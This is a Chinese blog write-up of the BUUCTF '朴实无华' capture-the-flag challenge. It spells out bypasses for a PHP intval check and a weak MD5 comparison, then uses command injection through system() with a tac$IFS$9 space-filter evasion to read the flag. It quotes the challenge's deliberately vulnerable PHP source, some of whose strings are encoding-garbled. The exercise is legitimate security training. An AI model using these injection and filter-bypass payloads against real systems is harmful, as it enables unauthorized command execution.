当前位置: 首页 > news >正文

BUUCTF————朴实无华

BUUCTF————朴实无华

进入靶场

在这里插入图片描述

简单的看了一下框架和源代码

没有什么能利用的信息

在这里插入图片描述

在这里插入图片描述

拼接robots.txt发现有泄露路径

在这里插入图片描述

/fAke_f1agggg.php

拼接访问发现一个假的flag

在这里插入图片描述

直接看看数据包

发现一个look_at_me: /fl4g.php的参数

在这里插入图片描述

拼接访问一下

/fl4g.php

在这里插入图片描述

还有一段php代码

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);//level 1
if (isset($_GET['num'])){$num = $_GET['num'];if(intval($num) < 2020 && intval($num + 1) > 2021){echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";}else{die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");}
}else{die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){$md5=$_GET['md5'];if ($md5==md5($md5))echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";elsedie("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{die("鍘婚潪娲插惂");
}//get flag
if (isset($_GET['get_flag'])){$get_flag = $_GET['get_flag'];if(!strstr($get_flag," ")){$get_flag = str_ireplace("cat", "wctf2020", $get_flag);echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";system($get_flag);}else{die("蹇埌闈炴床浜�");}
}else{die("鍘婚潪娲插惂");
}
?>

level1

  1. intval($num)的值小于2020
  2. intval($num + 1)的值大于2021

绕过方法:可以利用PHP的类型转换特性。传递一个科学计数法形式的字符串,如2e10

  • intval("2e10")会将其转换为2(因为e被当作非数字字符)

  • "2e10" + 1会被PHP自动转换为浮点数20000000000 + 1 = 20000000001

  • intval(20000000001)会大于2021

    ?num=2e10
    

level2

需要传递一个md5参数,使得该字符串的MD5哈希值等于字符串本身(弱类型比较,使用==

绕过方法:寻找一个字符串,其MD5哈希值以0e开头,后面全是数字(PHP会将这种字符串当作科学计数法的0)。例如:

  • 字符串"0e215962017"的MD5是"0e291242476940776845150308577824"

  • 使用==比较时,“0e…”"0e…"会被当作00

    md5=0e215962017
    

level3

  1. 传递get_flag参数
  2. 参数中不能包含空格
  3. 会替换"cat"为"wctf2020"(不区分大小写)

目标:执行系统命令获取flag

绕过方法

  1. 使用不包含空格的命令执行方式

  2. 绕过"cat"过滤(可以使用tacmoreless等替代)

    get_flag=ls
    

根据这段代码构造payload

?num=2e10&md5=0e215962017&get_flag=ls

浏览器有点乱码

直接看数据包吧

在这里插入图片描述

发现fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag应该就是payload

构造payload

?num=2e10&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
  • $IFS 是 Linux 的 Internal Field Separator(内部字段分隔符),默认包含空格、制表符(\t)和换行符(\n)。
  • $9 是一个 shell 变量,通常为空,但可以用于绕过某些过滤(比如 strstr($get_flag, " ") 检查空格)。
  • 组合 $IFS$9 可以确保即使 $IFS 被修改,仍然能作为分隔符使用。

拿到flag

在这里插入图片描述

flag{8db609e5-e082-48b0-8c8a-91203de71524}

下播!!!!!!

在这里插入图片描述

相关文章:

  • python基础:序列和索引-->Python的特殊属性
  • 如何使用极狐GitLab 软件包仓库功能托管 python?
  • 真相与幻象的博弈:AI“幻觉”的生成密码与治理革命
  • Wireshark基本使用
  • 基于Qt开发的http/https客户端
  • AWS VPC架构师指南:从零设计企业级云网络隔离方案
  • 学成在线之课程管理
  • 第四章:基于langchain构造一个完整RAG系统
  • C++从入门到实战(十四)初识STL与STL简介
  • 2025年3月电子学会等级考试五级题——4、收费站在哪里
  • ruoyi-flowable-plus 前端框架启动报错修复
  • 【C++游戏引擎开发】第34篇:C++实现反射
  • 神经网络—感知器、多层感知器
  • Azure Databricks:数据创新与智能决策的云端利器
  • 软件工程之需求分析涉及的图与工具
  • 基于大模型的计划性剖宫产全流程预测与方案优化研究报告
  • 案例解读 | IT监控如何重塑财务公司运维体系
  • vue中操作dom,实现元素的拖拉拽
  • Linux系统管理与编程15:vscode与Linux连接进行shell开发
  • 1688代采系统:技术架构与应用实践
  • 明天起,沪苏湖高铁、杭温高铁推出13款新型票制产品
  • 世界哮喘日|专家:哮喘无法根治,“临床治愈”已成治疗新目标
  • 五一假期上海接待游客1650万人次,全要素旅游交易总额超200亿元
  • 巴菲特第60次股东大会开场点赞库克:他为伯克希尔赚的钱比我还多
  • 上千游客深夜滞留张家界大喊退票?景区:已采取措施限制人流量
  • 出口管制不能将民用技术泛安全化,也不能破坏全球供应链稳定